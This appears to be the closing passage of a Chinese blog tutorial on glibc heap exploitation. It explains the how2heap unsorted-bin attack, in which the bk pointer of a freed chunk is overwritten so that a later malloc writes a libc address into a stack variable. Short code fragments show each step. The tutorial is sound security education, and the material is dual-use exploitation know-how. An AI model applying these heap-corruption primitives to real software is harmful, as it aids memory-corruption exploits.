printf("Let's malloc again to get the chunk we just free. During this time, target should has already been "
"rewrite:n");
printf("%p: %pn", &stack_var, (void*)stack_var);
}
翻译:
这个例程通过unsortedbin攻击往栈中写入一个unsigned long的值。
在实战中,unsorted bin 攻击通常是为更进一步的攻击做准备的。
比如,我们在栈上有一个栈单元stack_var需要被改写
unsigned long stack_var=0;
然后正常地分配一个chunk。
unsigned long *p=malloc(400);
再分配一个,防止前一个chunk在free的时候被合并了。
malloc(500);
然后
free(p);
之后p会被插入到unsortedbin链表中,而且它的fd和bk都指向unsortedbin的head。
接着我们模拟一个漏洞攻击改写p的bk指针:
p[1]=(unsigned long)(&stack_var-2);
然后用malloc出发unsortedbin的unlink:
malloc(400);
然后stack_var的值就被改写成了unsortedbin的head的地址了。
这也算是unlink的另一种用法,上一篇的总结中,unsafe_unlink通过unlink来直接控制地址,这里则是通过unlink来泄漏libc的信息,来进行进一步的攻击。流程也较为简单。
和house_of_lore操作有点像,也是通过修改victim的bk字段,不过我们做这个的主要目的不是返回一个可控的地址,而是将libc的信息写到了我们可控的区域。
0x0A 写在最后
个人水平有限,加上总结的时候有一些不太重要的点被我选择性地忽略了,如果有疑问请在下面留言。
最后一个例程house_of_einherjar在新版glibc已经不能用了,所以不做介绍。
发表评论
您还未登录,请先登录。
登录